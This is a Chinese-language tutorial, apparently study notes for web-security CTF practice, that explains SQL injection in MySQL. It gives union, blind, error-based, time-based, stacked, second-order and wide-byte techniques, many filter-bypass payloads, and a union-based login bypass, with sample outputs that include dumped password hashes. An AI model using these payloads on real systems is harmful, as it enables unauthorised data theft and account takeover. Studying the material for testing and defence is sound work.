Web安全漏洞原理——SQL注入

SQL注入

原理

由于程序员对插入SQL语句的用户输入参数检查不严格,导致的恶意SQL命令被插入语句并执行。

例如:

原始查询语句为 select * from user where id=$value

$value为用户输入变量,由于没有过滤,在用户输入 1 and 1=2

查询语句变为 select * from user where id=1 and 1=2,返回永假页面。

SQL数据库重要信息

MySQL数据库

默认数据库:

information_schema

三个表名:

SCHEMATA:所有数据库库名

TABLES:所有数据库库名与表名

COLUMNS:库名、表名、字段名

基础查询语句

select * from {table_name}

select * from {table_name} where {column_name}={data}

select * from {table_name} where {column_name}={data} and {other_column}={data} ...

注入常用函数

database()当前使用的数据库

version() 当前数据库版本

user() 当前数据库用户

注释符#、–、/**/

需要注意的是如果 /*!*/将会被视为内敛注释,!后的命令将会被执行。

例如:/*!select * from {table_name}*/

基础注入

样例数据库结构

数据库名称sql

user表

id char(5)(pk), name char(10), level int;

password表//加密方式MD5

id int(fk user.id), pwd char(40);

漏洞检测

如何检测溢出位置存在SQL注入?

在合法参数后加入一个 ',检查返回页面是否正常。

例如:select * from user where id=1'

这条语句由于不符合SQL语法将会报错,应当返回不正常的页面。

在合法参数后加入 and 1=1,检查返回页面是否正常。

例如:select * from user where id=1 and 1=1

这条语句应当返回正常页面。

在合法参数后加入 and 1=2,检查返回页面是否正常。

例如:select * from user where id=1 and 1=2

这条语句应当永远不会返回正常页面。

union注入(联合查询)

当查询的界面会返回信息时,可以使用此方法。

order by 穷举字段数量

判明存在SQL注入漏洞后,可以使用order by子句判断该表中存在的字段数量

使用方法:

样例原始查询语句(未知):select name,level from sql.user where id=$value

$value正常输入:1

正常返回:Equinox:5

order by穷举:

1' order by 1

1' order by 2

1' order by 3//此结果应当一正常输入1相同

1' order by 4//此结果不正常,说明该表字段数为3

union联合查询

判断字段数为3之后,可以使用union子句来进行联合查询

1 union select 1,2,3

返回:Equinox:5

没有返回select 1,2,3内容是因为语句限制只返回一条结果,我们将id改变为数据库中不存在的值。

-1 union select 1,2,3

返回:2:3

这个返回结果说明三个字段中,只有后两个字段(name,level)会被返回,我们注入的位置也只能在2与3。

使用database()函数查询当前数据库名称

-1 union select 1,database(),3

这句也行
-1 union select 1,2,group_concat(schema_name)from(information_schema.schemata)#

返回:sql:3

然后获取表名称

-1 union select 1,(select table_name from information_schema.tables where table_schema='sql' limit 0,1)
-1 union select 1,2,group_concat(table_name)from(information_schema.tables)where(table_schema='sql')#

语句解释主要对括号中:

查询information_schema数据库的tables表中所属sql数据库第一个表的名称。

limit 0,1的意思是从限制读取第一个开始计数一个,如果要读取第二个表名称改为 limit 1,1

返回:user:3

第二个表名

返回:password:3

查询字段名(以password表为例)

-1 union select 1,(select column_name from information_schema.columns where table_schema='sql' and table_name='password' limit 0,1)

语句解释:

查询information_schema数据库的columns表中所属sql数据库password表第一个字段的名称。

返回:id:3

第二个字段名

返回:pw:3

知道数据库名、表名、字段名之后就可以爆数据了。

-1 union select 1,(select name,pw from user,password where uesr.id=pw.id limit 0,1

语句解释:

查询user表与password表中id相同的name与pw第一条记录。

返回:Equinox: E10ADC3949BA59ABBE56E057F20F883E(MD5:123456)

Boolean注入(布尔盲注)

当注入页面只存在正常与不正常两种状态时,可以使用此方法。

特殊函数

length(string str):判断字符串长度

substr(string str,int start,int count):截取字符串的一部分

ord(char c) :ASCII转换函数

ascii(char c) :ASCII转换函数

reverse(string s):字符串转置

布尔盲注

样例查询语句(未知):select * from sql.user where id='$value'

正常查询输入:1

返回:yes

添加单引号:1'

返回:no

添加’#'注释符:1'%23(%23会被解析为#)

返回:yes

这说明查询语句中存在单引号,需要使用’#'号绕过。

判断数据库名称长度

输入:’ and length(database())>=1%23

返回:yes

输入:’ and length(database())>=2%23

返回:yes

输入:’ and length(database())>=3%23

返回:yes

输入:’ and length(database())>=4%23

返回:no

得出数据库名称长度为3,尝试爆破数据库名称。

输入:' and substr(database(),1,1)='s'%23

返回:yes

语句解释:通过截取数据库名称第一个字与后面给定的字符进行比较,通过返回判断是否正确。这是一个穷举过程。

需要注意的是,substr()函数第二个参数与limit不同,substr()是从1开始,而limit是从0开始

输入:' and substr(database(),2,1)='q'%23

返回:yes

输入:' and substr(database(),3,1)='l'%23

返回:yes

类似的,爆破表名

输入:' and length((select table_name from information_schema.tables where table_schema='sql' limit 0,1))>=5%23

返回:no

输入:' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='u'%23

返回:yes

输入:' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),2,1)='s'%23

返回:yes

输入:' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),3,1)='e'%23

返回:yes

输入:' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),4,1)='r'%23

返回:yes

同理爆字段名,不在赘述。

需要注意的是如果服务端过滤了’,’ 、‘[空格]’,等间隔符号可以使用substr((string s)from(int num))来代替。

但是有一个问题

substr(‘flag’ from 1) 返回:flag

substr(‘flag’ from 2) 返回:lag

substr(‘flag’ from 3) 返回:ag

substr(‘flag’ from 4) 返回:g

这时可以使用reverse()函数

substr((reverse(substr(‘flag’ form 1))) from 4 ) 返回:f

substr((reverse(substr(‘flag’ form 2))) from 3 ) 返回:l

substr((reverse(substr(‘flag’ form 3))) from 2 ) 返回:a

substr((reverse(substr(‘flag’ form 4))) from 1 ) 返回:g

报错注入

原理:特意构造会使数据库报错的语句将想要的数据库信息通过报错信息携带出来。

使用条件:数据库报错信息会直接回显

特殊函数

floor(RAND(0)*2):最基础的报错语句

updatexml(xml_document,xpath_string,new_value)

第一个参数:xml_document是string格式,为xml文档对象的名称

第二个参数:xpath_string是xpath格式的字符串

第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

extractvalue(xml_document,Xpath_string)

第一个参数:xml_document是string格式,为xml文档对象的名称

第二个参数:xpath_string是xpath格式的字符串

作用:从目标xml中返回包含所查询值的字符串

concat():连接字符串

一般注入格式

输入:AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7e,({SQL command}),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

输入:' and updatexml(1,concat(0x7e,({SQL command}),0x7e),1)--+

输入:' and extractvalue(1,concat(0x7e,({SQL command}),0x7e))--+

语句解释:通过构造函数的报错格式将信息携带出来,0x7e转义后为’~'。

SQL进阶注入

以下的注入方法也是基于基础注入的,更多的是一些特殊情况的注入技巧。

时间盲注

使用情况与布尔盲注类似,但是没有明确的注入语句返回信息,这种情况就需要使用时间盲注。

原理

通过sleep()或者benchmark()等函数让返回页面的时间变长,从而判断注入语句返回的正确与否。

特殊函数

sleep(int num):等待,参数为秒数。

if(boolean t,{语句1},{语句2}):如果t为真,执行语句1,为假执行语句2

一般注入格式

语句模板:if({查询语句},sleep(5),1)

例如:if(length(database())>1,sleep(5),1)

解释:如果数据库名称长度大于1,则等待5秒,否则查询1

然后根据布尔盲注的知识就可以进行注入测试。

堆叠查询

堆叠查询的特点就是执行多条语句,利用MySQL可以一次输入多条语句的特点。

原理

查询语句为:select * from user where id='$value

变量内容为:';show databases;#

不过堆叠注入一般需要联合时间盲注使用,因为通过PDO语句可以同时执行多个SQL语句,不过只会返回第一条语句的结果。在其他查询不可以时,可以尝试使用这个[[强网杯 2019-随便注|题目]]中思路。

二次注入攻击

这是一种比较巧妙的注入方式,根据我看到的资料,这种漏洞会存在于用户注册界面,通过访问用户主页来获得查询语句的结果。

原理

在用户注册时将用户名设置为payload,注册完毕后访问用户主页,用户名里面的语句会被执行,将信息返回。

宽字节注入攻击

这是一个不太常见的漏洞,一般出现在数据库的编码为GBK的情况下。

原理

在注入点,输入1’ 的情况下,服务器返回的信息中发现“ ’ ”被转义,添加了" \ “。在数据库编码为GBK的情况下可以使用宽字符绕过”\”字符。

绕过方法为输入 1%df',这个方法的原理是" \ "的编码为%5c,转义单引号后,输入变为 1%df%5c',而 %df%5c是繁体字”連“,从而使单引号逃逸。

cookie注入

cookie位于http请求头中,当传递参数是依赖cookie时,可以尝试通过cookie注入。

Base64注入

在传递参数到服务器时,浏览器预先进行了Base64编码,只需要在构造注入语句后,对其进行base64编码即可。

XFF注入

X-Forward-For简称XFF头,位于http请求头中,其作用是用于向服务器提供客户端的IP地址。在一些越权访问中,会伪造XFF头为127.0.0.1,使服务器误以为自己向自己发起请求。

如果在XFF头中添加单引号,发现引起SQL报错,可以尝试通过XFF头进行注入。

SQL绕过技术

这部分主要记录一些绕过技巧,当一些SQL注入必要的关键字被屏蔽之后,如何绕过屏蔽的技巧。

大小写绕过

在一些情况,and或者union等单词关键字被屏蔽之后,可以尝试使用大小写绕过,将and改为And、aNd或者AND,其他字符同理。

双写绕过

在一些情况,and或者union等关键字输入后返回的输入信息中却不包含and或者union,可以尝试双写绕过。

例如:and变为aandnd,union变为ununionion。

编码绕过

对注入语句进行两次url编码,第一次解码由服务器自动进行,第二次由SQL引擎执行。

内联注释绕过

id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

空格屏蔽绕过

注释绕过

例如:select/**/name/**/from/**/user/**/where/**/name='123'

%a0绕过

例如:select%a0name%a0from%a0user

括号绕过

例如:select(name)from(user)where(name='123')

引号绕过

在where子句中,当引号被屏蔽时,可以使用十六进制绕过引号。

例如:test的十六进制为0x74657374

注入句式可以变成:select * from user where name=0x74657374

这是我使用的字符串转十六进制的网站:https://www.sojson.com/hexadecimal.html

逗号绕过

当逗号被屏蔽时,可以使用from或者offset绕过。

例子:select substr(database() from 1 for 1); select mid(database() from 1 for 1);

也可以使用join关联两张表。

union select 1,2 #等价于

union select * from (select 1)a join (select 2)b

比较符号绕过

最大值最小值函数绕过

greatest()返回最大值

least()返回最小值

比较符号常用于布尔盲注中

例如最常见的盲注语句 select * from users where id=1 and ascii(substr(database(),0,1))>64

可以改为select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

between…and…绕过

between a and b:

例如between 1 and 1 等价于 =1

逻辑符号绕过

and=&&

or=||

xor=|

not=!

注释符号绕过

注释符号一般用于闭合引号,在注释符号被屏蔽时,可以这样绕过

'select * from user where name='test' ||'1’代码部分为输入内容,这个语句通过最后的 ||'1闭合了最后的单引号。

=绕过

使用like 、relike 、regexp 或者 使用<>

handler语句代替select查询(堆叠注入)

mysql除可使用select查询表中的数据,也可使用handler语句。这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
例:

handler users open as a; #指定数据表进行载入并将返回句柄重命名
handler a read first; #读取指定表/句柄的首行数据
handler a read next; #读取指定表/句柄的下一行数据
handler a read next; #读取指定表/句柄的下一行数据
...
handler a close; #关闭句柄

语法结构:

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

SQL逻辑漏洞

假返回逻辑漏洞

这个漏洞本质上是一个由SQL注入导致的逻辑漏洞。
在这道题目中的用户名密码验证逻辑如下:

  1. 接收浏览器发送的用户名密码
  2. 将用户名过黑名单,检测到非法词汇就中止
  3. 在数据库中查询该用户名的所有数据(用户不存在判断依据为返回的行数是否为0)
  4. 将客户端送达的密码进行MD5加密,与数据库中的密码字段进行比较,如果不一致中止。
  5. 如果一致,则成功登录。

这里有个逻辑问题,若浏览器送达的用户名不存在,返回的行数应该为0,但如果用户名处存在联合查询注入,我们可以构造不存在的用户名然后使用联合查询让数据库返回我们发送的常数数据,让页面误以为自己查询到了真正的数据,然后进行用户名密码比对。

我们结合例子看一下:
现在我们有一张users表,其中有三个字段分别为id、name、pw,这是正常查询。
Web安全漏洞原理——SQL注入_第1张图片
若用户名不存在,则:
Web安全漏洞原理——SQL注入_第2张图片由于有联合查询漏洞,我们可以构造这样一个输入:a' union select 1,'admin','000'#
Web安全漏洞原理——SQL注入_第3张图片

这样就造成了假返回,使得页面误以为自己查询到了数据表中的数据,从而造成了越权访问。

你可能感兴趣的:(mysql,web安全,php,安全)